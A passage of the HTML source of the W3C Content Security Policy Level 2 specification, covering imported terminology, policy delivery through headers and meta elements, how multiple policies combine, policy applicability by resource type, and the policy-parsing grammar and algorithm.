data-noexport=\"\" id=\"json-object\">JSON object<a class=\"self-link\" href=\"#json-object\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-stringification\">JSON stringification<a class=\"self-link\" href=\"#json-stringification\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in the JSON specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc4627\">[RFC4627]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"origin\">origin<a class=\"self-link\" href=\"#origin\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by the Origin specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-local-lt=\"representation\" data-noexport=\"\" id=\"resource-representation\">resource representation<a class=\"self-link\" href=\"#resource-representation\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in <a href=\"https://tools.ietf.org/html/rfc7231#section-3\">Section\n      3 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"url\">URL<a class=\"self-link\" href=\"#url\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by <a data-link-type=\"biblio\" href=\"#biblio-url\">[URL]</a>.\n    \n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_256\">SHA-256<a class=\"self-link\" href=\"#sha_256\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_384\">SHA-384<a class=\"self-link\" href=\"#sha_384\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_512\">SHA-512<a class=\"self-link\" href=\"#sha_512\"></a></dfn>\n     \n    \n     <dd>\n      These digest algorithms are defined by the NIST. <a data-link-type=\"biblio\" href=\"#biblio-fips180\">[FIPS180]</a>\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.3\" id=\"html-concepts\"><span class=\"secno\">2.3. </span><span class=\"content\">Relevant Concepts from HTML</span><a class=\"self-link\" href=\"#html-concepts\"></a></h3>\n\n\n    <p>The <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>,\n  <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code>, and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> are defined in\n  <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>.</p>\n\n\n    <p>The terms <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context\">auxiliary browsing contexts</a>,\n  <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#opener-browsing-context\">opener browsing context</a>, and <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> are\n  defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>A <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> is defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>The <code>&lt;&lt;@font-face>></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. <a data-link-type=\"biblio\" href=\"#biblio-css3-fonts\">[CSS3-FONTS]</a></p>\n\n\n    <p>The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. <a data-link-type=\"biblio\" href=\"#biblio-xmlhttprequest\">[XMLHTTPREQUEST]</a></p>\n\n\n    <p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-websockets\">[WEBSOCKETS]</a></p>\n\n\n    <p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-eventsource\">[EVENTSOURCE]</a></p>\n\n\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"runs-a-worker\">runs a worker<a class=\"self-link\" href=\"#runs-a-worker\"></a></dfn> algorithm is\n  <a href=\"http://www.w3.org/TR/workers/#run-a-worker\">defined in the Web\n  Workers spec</a>. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a></p>\n\n\n    <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callable\">callable<a class=\"self-link\" href=\"#callable\"></a></dfn> refers to an object whose interface\n  has one or more <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callers\">callers<a class=\"self-link\" href=\"#callers\"></a></dfn> as defined in the <a href=\"http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n  IDL</a> specification <a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WEBIDL]</a>.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.4\" id=\"grammar\"><span class=\"secno\">2.4. </span><span class=\"content\">Grammatical Concepts</span><a class=\"self-link\" href=\"#grammar\"></a></h3>\n\n\n    <p>The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a></p>\n\n\n    <p>This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=\"https://tools.ietf.org/html/rfc7230#section-7\">Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[RFC7230]</a></p>\n\n\n    <p>The following core rules are included by reference, as defined in\n  <a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">Appendix B.1</a>\n  of <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a>: <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"alpha\">ALPHA<a class=\"self-link\" href=\"#alpha\"></a></dfn></code> (letters),\n  <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digit\">DIGIT<a class=\"self-link\" href=\"#digit\"></a></dfn></code> (decimal 0-9), <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"wsp\">WSP<a class=\"self-link\" href=\"#wsp\"></a></dfn></code>\n  (white space) and <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"vchar\">VCHAR<a class=\"self-link\" href=\"#vchar\"></a></dfn></code> (printing characters).</p>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\">Policy Delivery</span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n\n\n    <p>The server delivers a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> to the user agent via an HTTP response\n  header (defined in <a href=\"#content-security-policy-header-field\">§3.1 Content-Security-Policy Header Field</a> and\n  <a href=\"#content-security-policy-report-only-header-field\">§3.2 Content-Security-Policy-Report-Only Header Field</a>) or an HTML\n  <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element (defined in <a href=\"#delivery-html-meta-element\">§3.3 HTML meta Element</a>).</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.1\" id=\"content-security-policy-header-field\"><span class=\"secno\">3.1. </span><span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy\">Content-Security-Policy<a class=\"self-link\" href=\"#content_security_policy\"></a></dfn></code> header field is\n    the preferred mechanism for delivering a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, a response might include the following header field:</p>\n     \n\n    \n     <div class=\"example\" id=\"example-be526382\"><a class=\"self-link\" href=\"#example-be526382\"></a>\n      <code>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'</code>\n    </div>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given <a data-link-type=\"dfn\" href=\"#resource-representation\">resource\n    representation</a>.</p>\n     \n\n\n     <p>A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same\n    resource or with different resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> each of the policies contained in each such\n    header field.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.2\" id=\"content-security-policy-report-only-header-field\"><span class=\"secno\">3.2. </span><span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-report-only-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy_report_only\">Content-Security-Policy-Report-Only<a class=\"self-link\" href=\"#content_security_policy_report_only\"></a></dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy-Report-Only:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:</p>\n     \n\n    \n     <div class=\"example\" id=\"example-77886cbd\"><a class=\"self-link\" href=\"#example-77886cbd\"></a>\n      \n      <pre>Content-Security-Policy-Report-Only: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self';\n                                     <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> /csp-report-endpoint/\n</pre>\n      \n    \n     </div>\n     \n\n\n     <p>If their site violates this policy the user agent will <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n    reports</a> to the URL specified in the policy’s <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header field.</p>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>.</p>\n     \n\n\n     <p>A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same resource or with different\n    resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> each of the policies\n    contained in each such header field.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.3\" id=\"delivery-html-meta-element\"><span class=\"secno\">3.3. </span><span class=\"content\">\n      HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> Element\n    </span><a class=\"self-link\" href=\"#delivery-html-meta-element\"></a></h3>\n     \n\n\n     <p>The server MAY supply policy via one or more HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements\n    with <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code> attributes that are an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n    match</a> for the string \"<code>Content-Security-Policy</code>\". For\n    example:</p>\n     \n\n    \n     <pre class=\"example\" id=\"example-ff79af85\"><a class=\"self-link\" href=\"#example-ff79af85\"></a>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"<a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'\">\n</pre>\n     \n\n\n     <p>Add the following entry to the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/document-metadata.html#pragma-directives\">pragma directives</a> for the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>\n    element:</p>\n     \n\n    \n     <dl>\n      \n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      \n      \n      \n      <dd>\n        \n       <ol>\n          \n        <li>If the Document’s <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-head-element\">head</a></code> element is not an ancestor of the\n          <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element, abort these steps.\n        \n\n          \n        <li>If the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element lacks a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute, abort\n          these steps.\n        \n\n          \n        <li>Let <var>policy</var> be the value of the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code>\n          attribute of the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.\n        \n\n          \n        <li>Let <var>directive-set</var> be the result of\n          <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parsing <var>policy</var></a>.\n        \n\n          \n        <li>\n            Remove all occurrences of <code><a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a></code>,\n            <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code>, and <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code>\n            directives from <var>directive-set</var>.\n\n\n         <p class=\"note\" role=\"note\">Note: User agents are encouraged to issue a warning to developers\n            if one or more of these directives are included in a policy\n            delivered via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>.</p>\n         \n          \n        \n\n          \n        <li>Enforce each of the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directives</a> in <var>directive-set</var>,\n          as <a href=\"#directives\">defined for each directive type</a>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </dl>\n     \n\n\n     <p>Authors are <em>strongly encouraged</em> to place <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements as early\n    in the document as possible, because policies in <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements are not\n    applied to content which precedes them. In particular, note that resources\n    fetched or prefetched using the <code>Link</code> HTTP response header\n    field, and resources fetched or prefetched using <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>\n    elements which precede a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>-delivered policy will not be blocked.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: A <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> specified via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element will be enforced\n    along with any other policies active for the protected resource, regardless\n    of where they’re specified. The general impact of enforcing multiple\n    policies is described in <a href=\"#enforcing-multiple-policies\">§3.4 Enforcing multiple policies.</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Modifications to the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element\n    after the element has been parsed will be ignored.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.4\" id=\"enforcing-multiple-policies\"><span class=\"secno\">3.4. </span><span class=\"content\">Enforcing multiple policies.</span><a class=\"self-link\" href=\"#enforcing-multiple-policies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>The above sections note that when multiple policies are present,\n    each must be enforced or reported, according to its type. An example\n    will help clarify how that ought to work in practice. The behavior of\n    an <code>XMLHttpRequest</code> might seem unclear given a site\n    that, for whatever reason, delivered the following HTTP headers:</p>\n     \n\n    \n     <pre class=\"example\" id=\"example-53073245\"><a class=\"self-link\" href=\"#example-53073245\"></a>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self' http://example.com http://example.net;\n                         <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> 'none';\nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> http://example.com/;\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> http://example.com/\n</pre>\n     \n\n\n     <p>Is a connection to <code>example.com</code> allowed or not? The\n    short answer is that the connection is not allowed. Enforcing both\n    policies means that a potential connection would have to pass through\n    both unscathed. Even though the second policy would allow this\n    connection, the first policy contains <code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a>\n    'none'</code>, so its enforcement blocks the connection. The impact is\n    that adding additional policies to the list of policies to enforce can\n    only further restrict the capabilities of the protected resource.</p>\n     \n\n\n     <p>To demonstrate that further, consider a script tag on this page.\n    The first policy would lock scripts down to <code>'self'</code>,\n    <code>http://example.com</code> and <code>http://example.net</code>\n    via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive. The second, however,\n    would only allow script from <code>http://example.com/</code>. Script\n    will only load if it meets both policy’s criteria: in this case, the only\n    origin that can match is <code>http://example.com</code>, as both\n    policies allow it.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.5\" id=\"which-policy-applies\"><span class=\"secno\">3.5. </span><span class=\"content\">Policy applicability</span><a class=\"self-link\" href=\"#which-policy-applies\"></a></h3>\n     \n\n\n     <p><em>This section is not normative.</em></p>\n     \n\n\n     <p>Policies are associated with an <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, and\n    <a data-link-type=\"dfn\" href=\"#enforce\">enforced</a> or <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a> for that resource.\n    If a resource does not create a new execution context (for example, when\n    including a script, image, or stylesheet into a document), then any policies\n    delivered with that resource are discarded without effect. Its execution is\n    subject to the policy or policies of the including context. The following\n    table outlines examples of these relationships:</p>\n     \n\n    \n     <table>\n      \n      <thead>\n        \n       <tr>\n          \n        <th colspan=\"2\">Resource Type\n        \n          \n        <th>What <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> applies?\n        \n        \n       \n      \n      \n      \n      <tbody>\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"2\">Top-level Contexts\n        \n\n          \n        <td>HTML as a new, top-level browsing context\n        \n          \n        <td>The policy delivered with the resource\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a top-level document\n        \n          \n        <td>Policy delivered with the resource\n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"3\">Embedded Contexts\n        \n\n          \n        <td>\n            Any resource included via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n          \n        \n          \n        <td>\n            The policy of the embedding resource controls <em>what</em> may be\n            embedded. The embedded resource, however, is controlled by the\n            policy delivered with the resource, or the policy of the embedding\n            resource if the embedded resource is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n            identifier</a> (or a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-srcdoc\">srcdoc</a></code> frame).\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as an embedded document\n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>.\n          \n        \n        \n       \n        \n       <tr>\n          \n        <td>\n            JavaScript, as a Worker, Shared Worker or Service Worker\n          \n        \n          \n        <td>\n            The policy delivered with the resource, or policy of the creating\n            context if created from a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n          \n        \n        \n       \n\n        \n       <tr class=\"section\">\n          \n        <th rowspan=\"7\">Subresources\n        \n\n          \n        <td>SVG, inlined via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/SVG2/struct.html#SVGElement\">svg</a></code>\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a resource document\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>HTML via XMLHttpRequest\n        \n          \n        <td>Policy of the context that performed the fetch\n        \n        \n       \n        \n       <tr>\n          \n        <td>Image via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>JavaScript via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element\n        \n          \n        <td>Policy of the including context\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>\n        \n          \n        <td>No policy; should be just as safe as JPG\n        \n        \n       \n        \n       <tr>\n          \n        <td>SVG, as a WebFont\n        \n          \n        <td>No policy; should be just as safe as WOFF\n        \n        \n       \n      \n      \n    \n     </table>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"4\" id=\"syntax-and-algorithms\"><span class=\"secno\">4. </span><span class=\"content\">Syntax and Algorithms</span><a class=\"self-link\" href=\"#syntax-and-algorithms\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.1\" id=\"policy-syntax\"><span class=\"secno\">4.1. </span><span class=\"content\">Policy Syntax</span><a class=\"self-link\" href=\"#policy-syntax\"></a></h3>\n     \n\n\n     <p>A Content Security Policy consists of a U+003B SEMICOLON\n    (<code>;</code>) delimited list of directives. Each <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a>\n    consists of a <a data-link-type=\"dfn\" href=\"#security-policy-directive-name\">directive name</a> and (optionally) a\n    <a data-link-type=\"dfn\" href=\"#security-policy-directive-value\">directive value</a>, defined by the following ABNF:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy_token\">policy-token<a class=\"self-link\" href=\"#policy_token\"></a></dfn>    = [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> *( \";\" [ <a data-link-type=\"dfn\" href=\"#directive_token\">directive-token</a> ] ) ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_token\">directive-token<a class=\"self-link\" href=\"#directive_token\"></a></dfn> = *WSP [ <a data-link-type=\"dfn\" href=\"#directive_name\">directive-name</a> [ WSP <a data-link-type=\"dfn\" href=\"#directive_value\">directive-value</a> ] ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_name\">directive-name<a class=\"self-link\" href=\"#directive_name\"></a></dfn>  = 1*( ALPHA / DIGIT / \"-\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive_value\">directive-value<a class=\"self-link\" href=\"#directive_value\"></a></dfn> = *( WSP / &lt;VCHAR except \";\" and \",\"> )\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.1.1\" id=\"policy-parsing\"><span class=\"secno\">4.1.1. </span><span class=\"content\">Parsing Policies</span><a class=\"self-link\" href=\"#policy-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-the-policy\">parse the policy<a class=\"self-link\" href=\"#parse-the-policy\"></a></dfn> <var>policy</var>, the user agent MUST\n      use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of directives</var> be the empty set.\n       \n\n        \n       <li>For each non-empty token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly splitting</a>\n        the string <var>policy</var> on the character U+003B SEMICOLON\n        (<code>;</code>):\n          \n        <ol>\n            \n         <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#skip-whitespace\">Skip whitespace</a>.\n         \n\n            \n         <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">Collect a sequence of characters</a> that are\n            not <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space characters</a>. The collected characters\n            are the <var>directive name</var>.\n         \n\n            \n         <li>If there are characters remaining in <var>token</var>,\n            skip ahead exactly one character (which must be a\n            <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space character</a>).\n         \n\n            \n         <li>The remaining characters in <var>token</var> (if any) are\n            the <var>directive value</var>.\n         \n\n            \n         <li>If the <var>set of directives</var> already contains a\n            directive whose name is a case insensitive match for\n            <var>directive name</var>, ignore this instance of the directive\n            and continue to the next token.\n         \n\n            \n         <li>Add a <var>directive</var> to the <var>set of\n            directives</var> with name <var>directive name</var> and value\n            <var>directive value</var>.\n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>Return the <var>set of directives</var>.\n      \n      </ol>\n      \n    \n     </section>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.2\" id=\"source-list-syntax\"><span class=\"secno\">4.2. </span><span class=\"content\">Source List Syntax</span><a class=\"self-link\" href=\"#source-list-syntax\"></a></h3>\n     \n\n\n     <p>Many CSP directives use a value consisting of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-list\">source\n    list<a class=\"self-link\" href=\"#source-list\"></a></dfn>, defined in the ABNF grammar below.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-expression\">source expression<a class=\"self-link\" href=\"#source-expression\"></a></dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URLs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_list\">source-list<a class=\"self-link\" href=\"#source_list\"></a></dfn>       = *WSP [ <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a> ) *WSP ]\n                  / *WSP \"'none'\" *WSP\n<dfn data-dfn-type=\"dfn\" 